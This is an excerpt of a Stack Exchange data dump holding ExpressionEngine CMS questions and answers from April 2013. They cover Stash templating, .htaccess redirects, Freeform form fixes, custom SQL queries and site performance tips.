  <row Id="9222" PostTypeId="1" AcceptedAnswerId="9224" CreationDate="2013-04-11T09:26:31.367" Score="1" ViewCount="75" Body="&lt;p&gt;I'm getting into Stash and I wondered what the best way of handling tag pairs such as files/images? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My aim is to totally separate out the markup from the fetching of stuff from the database (exp:channel:entries tags etc). So far, this is how I'm currently handling it, and it works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Model end of things&lt;/strong&gt; (this would be within exp:channel:entries tag also with a load of other stuff).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;main_image&quot; parse_tags=&quot;yes&quot;}&#xA;{my_image}&#xA;    {stash:url}{url}{/stash:url}&#xA;    {stash:height}{height}{/stash:height}&#xA;    {stash:width}{width}{/stash:width}&#xA;    {stash:title}{title}{/stash:title}&#xA;{/my_image}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Markup end of things&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;main_image&quot;}&#xA;&amp;lt;img src=&quot;{url}&quot; height=&quot;{height}&quot; width=&quot;{width}&quot; alt=&quot;{title}&quot; title=&quot;{title}&quot; /&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What concerns me the most is I'm using a list even though there will only ever be one thing in it, as thus it makes me a bit uneasy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way of doing it? Like I said it definitely works, I just want to make sure I'm doing it right.&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-04-11T10:37:40.310" Title="Outputting tag pairs such as images/files with Stash" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9223" PostTypeId="2" ParentId="9216" CreationDate="2013-04-11T09:27:11.297" Score="1" Body="&lt;p&gt;I'm assuming you're referring to displaying on the fronted, not creating in the backend? Store currently doesn't allow you to output the stock levels for modifier options. I've written a plugin that allows you to do just that for multiple modifiers and options, it's called Store Options and will be released on Devot-ee.com within the next couple of weeks, but if you want a copy of it prior to that drop me an email. peter@peteralewis.com&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-04-11T09:27:11.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9224" PostTypeId="2" ParentId="9222" CreationDate="2013-04-11T10:37:40.310" Score="1" Body="&lt;p&gt;From a performance point of view I don't see anything wrong with that at all. It will still output your desired variables. The &lt;code&gt;set_list&lt;/code&gt; tag pair ideally caters for an array of items (many) but it should be just as happy returning one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just set them as regular stash:set variables but it shouldn't make any difference performance wise either way.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-11T10:37:40.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9225" PostTypeId="2" ParentId="9219" CreationDate="2013-04-11T10:53:48.913" Score="2" Body="&lt;p&gt;I would always say to stick to one or the other, either www or no-www. You're correct in that they are treated as separate domains and you may see a hit in terms of SEO if you have duplicate content on two different domains. Ideally you should always pick one and stick to it and ensure it's adhered to by backing it up in the .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rewrite &quot;www.domain.com -&gt; domain.com&quot; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteCond %{HTTPS} !=on&#xA;  RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;  RewriteRule ^(.*)$ http://%1/$1 [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This takes any requests for the www. domain and then forwards it on to the no-www domain giving it a 301 redirect (permanent move). This will ensure you and your clients don't accidentally use a both.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-11T10:53:48.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9226" PostTypeId="2" ParentId="9152" CreationDate="2013-04-11T11:28:14.313" Score="2" Body="&lt;p&gt;It occurred to me this would be a great idea for a plugin, since it's something most people have to do often when building even moderately complicated sites, and currently requires you to understand both MySQL &lt;code&gt;GROUP_CONCAT&lt;/code&gt; and the intricacies of the EE parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So without further ado, I present the &lt;a href=&quot;https://github.com/expressodev/channel_query&quot; rel=&quot;nofollow&quot;&gt;Channel Query plugin&lt;/a&gt;. Use it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_query sql=&quot;SELECT entry_id FROM exp_channel_titles&quot;}&#xA;    &amp;lt;!-- normal channel entries tag data --&amp;gt;&#xA;{/exp:channel_query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;sql&lt;/code&gt; parameter specifies the custom SQL query. Only SELECT statements can be used, INSERT, UPDATE and DELETE are not supported for security reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other parameters and variables are exactly the same as the standard EE Channel Entries Tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an &lt;code&gt;orderby&lt;/code&gt; parameter is specified, that will take precendence. Otherwise, entries will be displayed in the order returned by your SQL query.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-11T11:28:14.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9227" PostTypeId="1" CreationDate="2013-04-11T11:40:10.897" Score="0" ViewCount="196" Body="&lt;p&gt;one of my customer told me that he was seeing a white page during site navigation. The white page he was talking about was just the browser empty pages; he sees it while navigating between the website pages, as apparently there is some kind of delay // or // cache problem with the browser. It isn't a big issue, and it's something that I can't relate to ExpressionEngine, but it's there, and I would like to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reproduce it navigating on the main menu, sometimes the browser just load the new page, sometimes there's a delay that returns the empty page for some seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any clue? I've changed the busted css to absolute path and turned on cache for templates with no luck. This happens on all browser, it's like he's re-loading all the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any clue/hint?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://bit.ly/17sG50m&quot; rel=&quot;nofollow&quot;&gt;Site&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="740" LastActivityDate="2013-04-11T15:54:22.473" Title="Delay on navigation // cache issue?" Tags="|javascript|css|cache|browser|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9228" PostTypeId="1" CreationDate="2013-04-11T12:28:32.647" Score="2" ViewCount="568" Body="&lt;p&gt;I recently bought freeform PRO(version 4.0.11) and upgraded my freeform(version 4.0.8) using the Solspace update method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I navigate to the module page and select the tab &lt;strong&gt;field types&lt;/strong&gt; the page shows the following message.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No field types available.&#xA;What, you deleted all of the default ones, too? O_o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also throws some PHP error's.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: glob() [function.glob]: Pattern exceeds the maximum allowed length of 260 characters&#xA;Filename: libraries/Freeform_fields.php&#xA;Line Number: 300&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: libraries/Freeform_fields.php&#xA;Line Number: 302&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I open the freeform_fields.php file from the libraries folder and navigate to line 300 I see the following piece of code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // -------------------------------------&#xA;    //  default fields&#xA;    // -------------------------------------&#xA;&#xA;    $default_fields = glob(&#xA;        $this-&amp;gt;default_path . 'freeform_ft.{' .&#xA;            implode(',', $this-&amp;gt;data-&amp;gt;defaults['default_fields']) . '}.php',&#xA;        GLOB_BRACE&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I open the &lt;strong&gt;default_fields&lt;/strong&gt; folder it shows a lot of freeform_ft_FIELDTYPENAME.php files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats wrong and how can I fix it without removing/uninstalling the whole module and install it again? I want to keep my submissions.&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2013-05-12T08:22:10.840" Title="Solspace Freeform Pro no field types available" Tags="|php|solspace-freeform|fieldtype|solspace|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9229" PostTypeId="2" ParentId="9228" CreationDate="2013-04-11T13:12:35.763" Score="1" Body="&lt;p&gt;You can run this query to build the fieldtypes table.&#xA;(as always, make sure you have backups before doing anything like this!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to try is to delete your FreeForm folders in third_party and themes and upload them fresh. Often people try to just overwrite existing folders with the upgrade and strange things can happen.  THis will not uninstall the module, so your data should be safe.  It just makes sure the right files are in the right place.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DROP TABLE IF EXISTS `exp_freeform_fieldtypes`;&#xA;CREATE TABLE IF NOT EXISTS `exp_freeform_fieldtypes` (&#xA;  `fieldtype_id` int(10) unsigned NOT NULL AUTO_INCREMENT,&#xA;  `fieldtype_name` varchar(250) DEFAULT NULL,&#xA;  `settings` text,&#xA;  `default_field` char(1) NOT NULL DEFAULT 'n',&#xA;  `version` varchar(12) DEFAULT NULL,&#xA;  PRIMARY KEY (`fieldtype_id`),&#xA;  KEY `fieldtype_name` (`fieldtype_name`)&#xA;) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=15 ;&#xA;&#xA;--&#xA;-- Dumping data for table `exp_freeform_fieldtypes`&#xA;--&#xA;&#xA;INSERT INTO `exp_freeform_fieldtypes` (`fieldtype_id`, `fieldtype_name`, `settings`, `default_field`, `version`) VALUES&#xA;(1, 'checkbox', '[]', 'n', '4.0.0.b1'),&#xA;(2, 'checkbox_group', '[]', 'n', '4.0.0.b1'),&#xA;(3, 'country_select', '[]', 'n', '4.0.0.b1'),&#xA;(4, 'file_upload', '[]', 'n', '4.0.0.b1'),&#xA;(5, 'hidden', '[]', 'n', '4.0.0.b1'),&#xA;(6, 'mailinglist', '[]', 'n', '4.0.0.b1'),&#xA;(7, 'multiselect', '[]', 'n', '4.0.0.b1'),&#xA;(14, 'province_select', '[]', 'n', '4.0.10'),&#xA;(9, 'radio', '[]', 'n', '4.0.0.b1'),&#xA;(10, 'select', '[]', 'n', '4.0.0.b1'),&#xA;(11, 'state_select', '[]', 'n', '4.0.0.b1'),&#xA;(12, 'text', '[]', 'n', '4.0.0.b1'),&#xA;(13, 'textarea', '[]', 'n', '4.0.0.b1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-04-11T13:12:35.763" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9230" PostTypeId="2" ParentId="9213" CreationDate="2013-04-11T13:25:34.253" Score="2" Body="&lt;p&gt;Alex pointed me in the direction of using an HTML table to output the data, then serve it as an xls file instead.&lt;br&gt;&#xA;While this technically doesn't answer the question of how to fix the CSV issue, it did help me solve the real problem I was having, which was the data being incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using a lone &lt;code&gt;table&lt;/code&gt; tag, everything shows up in Excel in Times New Roman with no borders. To get it to show up with default Excel styling, use the following markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}&#xA;{if group_id == 1 OR group_id == 6}&#xA;&#xA;{exp:http_header content_type=&quot;application/vnd.ms-excel&quot;}&#xA;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;  &amp;lt;meta http-equiv=Content-Type content=&quot;text/html; charset=macintosh&quot;&amp;gt;&#xA;  &amp;lt;meta name=ProgId content=Excel.Sheet&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;  &amp;lt;table&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;th&amp;gt;email&amp;lt;/th&amp;gt;&#xA;      &amp;lt;th&amp;gt;etc...&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    {exp:user:users limit=&quot;100000&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;{email}&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;etc...&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    {/exp:user:users}&#xA;  &amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&#xA;{if:else}&#xA;  {redirect=&quot;404&quot;}&#xA;{/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-04-11T13:25:34.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9231" PostTypeId="1" AcceptedAnswerId="9244" CreationDate="2013-04-11T13:30:27.270" Score="0" ViewCount="744" Body="&lt;p&gt;I'm looking for advice on how to redirect a user to one of our country sites, based on their IP and wondered if anyone has done this with ExpressionEngine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I need to provide users with a way to circumvent this - similar to what happens with Google where you can click a link that can take you to the .com site if you don't wish to view the .co.uk site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have IP to Nation installed and updated, but unsure if this would be needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-05-12T07:08:10.280" Title="Redirect user to site based on IP" Tags="|redirects|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9232" PostTypeId="1" CreationDate="2013-04-11T13:57:05.707" Score="1" ViewCount="94" Body="&lt;p&gt;Another perplexing &quot;is probably an easy fix&quot; question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an EE site, and am using Safecracker to maintain a customer data channel. Each week, the customer receives a notice about an upcoming grocery delivery. When they do, they have the opportunity to submit a note about it – for example, &quot;I don't want beets.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a another textarea field that collects all of these notes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using a hidden Safecracker field to populate the textarea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;customer_bin_notes&quot; id=&quot;customer_bin_notes&quot; value=&quot;{customer_bin_notes}\n{customer_bin_recent_note}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't get the line break to work. I also tried &lt;br&gt; and \l but those didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I'm overlooking something simple here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="897" LastEditorUserId="150" LastEditDate="2013-04-12T09:43:21.370" LastActivityDate="2013-05-12T10:22:10.640" Title="Appending textarea fields with line breaks using Safecracker" Tags="|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9233" PostTypeId="2" ParentId="9213" CreationDate="2013-04-11T14:12:01.623" Score="1" Body="&lt;p&gt;I did something recently that may be of use in your cirumstance: &lt;a href=&quot;http://gotolow.com/addons/low-replace/docs&quot; rel=&quot;nofollow&quot;&gt;LowReplace&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its use is fairly straight forward, I used it to output Freeform data to JSON but should work for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:users limit=&quot;100000&quot;}&#xA;{exp:low_replace find=&quot;QUOTE|NEWLINE&quot; replace=&quot;\QUOTE|SPACE&quot; multiple=&quot;yes&quot;}&#xA;&quot;{email}&quot;, &quot;{screen_name}&quot;, &quot;{address}&quot;,&#xA;{/exp:low_replace}&#xA;{/exp:user:users}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isnt tested, you'll likely need to wrap each field in a Low Replace but might help !!&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-04-11T14:12:01.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9234" PostTypeId="2" ParentId="9227" CreationDate="2013-04-11T14:28:36.150" Score="0" Body="&lt;p&gt;I can't say for sure, Firefox seems to have little to no issue, Safari defiantly has signs of the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I did notice, are you using EE CSS templates ? It looks like it via the URL they're being called from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be slowing things down, I'd remove them from the EE system, I'm yet to see any scenario where they are of any real benefit. Having them as traditional CSS files kept in a folder makes everything simpler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try some caching via htaccess to help speed things up as well.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-04-11T14:28:36.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9236" PostTypeId="2" ParentId="9193" CreationDate="2013-04-11T15:07:38.477" Score="1" Body="&lt;p&gt;You may also need to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $assign_to_config['deft_lang'] = 'french';  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-11T15:07:38.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9237" PostTypeId="2" ParentId="9227" CreationDate="2013-04-11T15:40:37.620" Score="1" Body="&lt;p&gt;First step is to move all CSS and JS out of EE templates. You will see improved load times just from this... If you minimize and combine into less files, that will help even more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;&lt;a href=&quot;http://visiosuite.org/index.php/javascript/plugins&quot; rel=&quot;nofollow&quot;&gt;http://visiosuite.org/index.php/javascript/plugins&lt;/a&gt;&lt;/strong&gt; file is consistently loading slowly which you should be able to see in your browser's Network tab... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As currently coded, your images, css and JS are still using an absolute link (www.domain.com/filename) instead of a root-relative link (/filesname) when loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also suggest you move your main CSS file up near the top of the list if subsequent css files aren't overwriting styles in that main file. One larger minimized CSS files is better than 5 smaller files that are not minimized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you are loading Modernizer JS file in the header but if you aren't using it, I suggest removing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, change the &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html#enable-gzip-output&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Enable GZIP Output?&lt;/strong&gt;&lt;/a&gt;&quot; setting in EE to &quot;Yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have caching enabled in EE, it's not evident... The page loads here are ~ 5-6 seconds. You might want to spend money on the &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CE Cache&lt;/strong&gt;&lt;/a&gt; module. The static driver will make the site amazingly fast.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-04-11T15:54:22.473" LastActivityDate="2013-04-11T15:54:22.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9238" PostTypeId="1" AcceptedAnswerId="9270" CreationDate="2013-04-11T15:42:21.683" Score="3" ViewCount="1342" Body="&lt;p&gt;I have a contact form that has a checkbox so the user can choose to also be added to the newsletter subscription with their contact form submission.  Basically this just needs to post a value of &amp;quot;y&amp;quot; and the client manually adds them to their mailing list.&lt;/p&gt;&#xA;&lt;p&gt;The free version of Freeform no longer has a checkbox fieldtype (Freeform 3.x did). Freeform Pro is an awesome addon, but the only added feature I need is the checkbox field type.&lt;/p&gt;&#xA;&lt;p&gt;Has anyone figured out a way to pass the value of a checkbox field with the free version?&lt;/p&gt;&#xA;&lt;p&gt;I tried the Freeform Values extension: &lt;a href=&quot;https://github.com/stovepot/freeform_values.ee_addon&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/stovepot/freeform_values.ee_addon&lt;/a&gt; but I wasn't able to get it to work at all - and there is no support for it (bummer).  Basically the tag I used &lt;code&gt;{freeform:value:optin_check}&lt;/code&gt; shows up in the html output instead of a value.&lt;/p&gt;&#xA;&lt;p&gt;I thought maybe I could take the value of the checkbox and pass it to a hidden text field, something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;checkbox&amp;quot; id=&amp;quot;optin_check&amp;quot; name=&amp;quot;optin_check&amp;quot; value=&amp;quot;Yes&amp;quot;&amp;gt;&#xA;&amp;lt;input type=&amp;quot;hidden&amp;quot; id=&amp;quot;optin&amp;quot; name=&amp;quot;optin&amp;quot; value=&amp;quot;&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What I tried with the above extension:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;checkbox&amp;quot; id=&amp;quot;optin_check&amp;quot; name=&amp;quot;optin_check&amp;quot; value=&amp;quot;Yes&amp;quot;&amp;gt;&#xA;&amp;lt;input type=&amp;quot;hidden&amp;quot; id=&amp;quot;optin&amp;quot; name=&amp;quot;optin&amp;quot; value=&amp;quot;{freeform:value:optin_check}&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any ideas on how I could get something like this to work?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Complete Freeform code in my template:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;    collection=&amp;quot;Contact&amp;quot;&#xA;    return=&amp;quot;/contact/thanks&amp;quot;&#xA;    inline_errors=&amp;quot;yes&amp;quot;&#xA;    require_captcha=&amp;quot;yes&amp;quot; &#xA;    inline_error_return=&amp;quot;contact/error&amp;quot;&#xA;    admin_notify=&amp;quot;jessica@toolstudios.com&amp;quot;&#xA;    template=&amp;quot;contact_us&amp;quot;&#xA;    form:id=&amp;quot;contact-us&amp;quot;    &#xA;}&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&amp;quot;first_name&amp;quot; class=&amp;quot;left&amp;quot;&amp;gt;First Name&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&amp;quot;text&amp;quot; value=&amp;quot;&amp;quot; name=&amp;quot;first_name&amp;quot; id=&amp;quot;first_name&amp;quot;&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;        &#xA;        &amp;lt;label for=&amp;quot;last_name&amp;quot;&amp;gt;Last Name&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&amp;quot;text&amp;quot; value=&amp;quot;&amp;quot; name=&amp;quot;last_name&amp;quot; id=&amp;quot;last_name&amp;quot;&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;            &#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&amp;quot;email&amp;quot; class=&amp;quot;left&amp;quot;&amp;gt;Email&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&amp;quot;email&amp;quot; value=&amp;quot;&amp;quot; name=&amp;quot;email&amp;quot; id=&amp;quot;email&amp;quot;&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;        &#xA;        &amp;lt;label for=&amp;quot;confirm_email&amp;quot;&amp;gt;Confirm Email&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&amp;quot;email&amp;quot; value=&amp;quot;&amp;quot; name=&amp;quot;confirm_email&amp;quot; id=&amp;quot;confirm_email&amp;quot;&amp;gt;&#xA;        &amp;lt;/label&amp;gt;    &#xA;    &amp;lt;/p&amp;gt;&#xA;            &#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&amp;quot;user_message&amp;quot;&amp;gt;Message&amp;lt;br&amp;gt;&#xA;            &amp;lt;textarea rows=&amp;quot;10&amp;quot; cols=&amp;quot;20&amp;quot; id=&amp;quot;user_message&amp;quot; name=&amp;quot;user_message&amp;quot;&amp;gt;&#xA;            &amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &#xA;    &amp;lt;p class=&amp;quot;checkbox left&amp;quot;&amp;gt;&#xA;        &amp;lt;input type=&amp;quot;checkbox&amp;quot; checked=&amp;quot;checked&amp;quot; name=&amp;quot;optin_check[]&amp;quot; value=&amp;quot;Yes&amp;quot;&amp;gt;&#xA;        &amp;lt;label for=&amp;quot;optin_check&amp;quot; class=&amp;quot;checker&amp;quot;&amp;gt;&#xA;            Yes, sign me up to recieve the newsletter!&#xA;        &amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&amp;quot;hidden&amp;quot; id=&amp;quot;optin&amp;quot; name=&amp;quot;optin&amp;quot; class=&amp;quot;optin&amp;quot; value=&amp;quot;&amp;quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    {if captcha}&#xA;    &amp;lt;p class=&amp;quot;captcha&amp;quot;&amp;gt;&#xA;        &amp;lt;label class=&amp;quot;long&amp;quot;&amp;gt;&#xA;        Please answer the security question&amp;lt;span class=&amp;quot;required&amp;quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&#xA;        {captcha} &amp;amp;nbsp;&amp;amp;nbsp; &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;captcha&amp;quot; id=&amp;quot;captcha&amp;quot;&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    {/if}                           &#xA;    &amp;lt;p class=&amp;quot;left&amp;quot;&amp;gt;&#xA;        &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; id=&amp;quot;submit&amp;quot; value=&amp;quot;Submit&amp;quot;&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;        &#xA;{/exp:freeform:form}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;And here's a screenshot for the visual:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/q4RUC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-10-13T14:04:02.850" Title="Any way to pass a checkbox value in Freeform (not Pro version)?" Tags="|solspace-freeform|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9239" PostTypeId="2" ParentId="9209" CreationDate="2013-04-11T15:57:54.473" Score="0" Body="&lt;p&gt;Yes, this is a parse order thing, the get is parsed before the second set, since it is within a channel entries tag pair. But this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;var1&quot;}no{/exp:stash:set}&#xA;&#xA;{exp:channel:entries limit=&quot;1&quot;}&#xA;  {exp:stash:set name=&quot;var1&quot; replace=&quot;yes&quot;}yes{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;  {exp:stash:get name=&quot;var1&quot;}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in general, you won't get very far with setting and getting data within the same template. That's why the &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow&quot;&gt;template partials approach&lt;/a&gt; sets data in the base template and then gets it in an embedded template. &lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2013-04-11T15:57:54.473" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
